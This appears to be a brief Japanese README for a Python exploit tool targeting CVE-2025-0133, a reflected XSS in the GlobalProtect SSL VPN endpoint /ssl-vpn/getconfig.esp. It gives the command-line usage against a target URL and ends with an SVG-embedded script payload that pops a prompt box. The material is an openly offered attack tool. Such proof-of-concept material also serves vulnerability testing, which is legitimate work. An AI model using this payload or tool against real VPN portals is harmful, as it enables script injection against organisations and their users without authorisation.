
CVE-2025-0133 GlobalProtect XSS
🔓 GlobalProtect SSL VPN エンドポイント /ssl-vpn/getconfig.esp に細工したXSSペイロードをURLへ追加するエクスプロイトです。
python3 exploit.py -u https://target.com
-u, --url: 対象のベースURL(クエリパラメータは含めないでください)<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>